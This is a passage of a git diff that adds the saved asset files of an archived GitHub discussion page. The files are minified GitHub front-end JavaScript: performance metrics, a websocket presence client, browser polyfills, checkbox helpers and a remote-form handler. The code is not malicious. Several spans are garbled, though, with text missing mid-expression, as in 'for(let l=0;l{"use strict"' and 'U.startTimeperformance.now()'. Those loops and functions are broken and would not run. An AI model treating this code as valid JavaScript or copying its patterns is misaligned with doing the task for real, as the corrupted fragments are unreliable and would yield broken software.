0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request 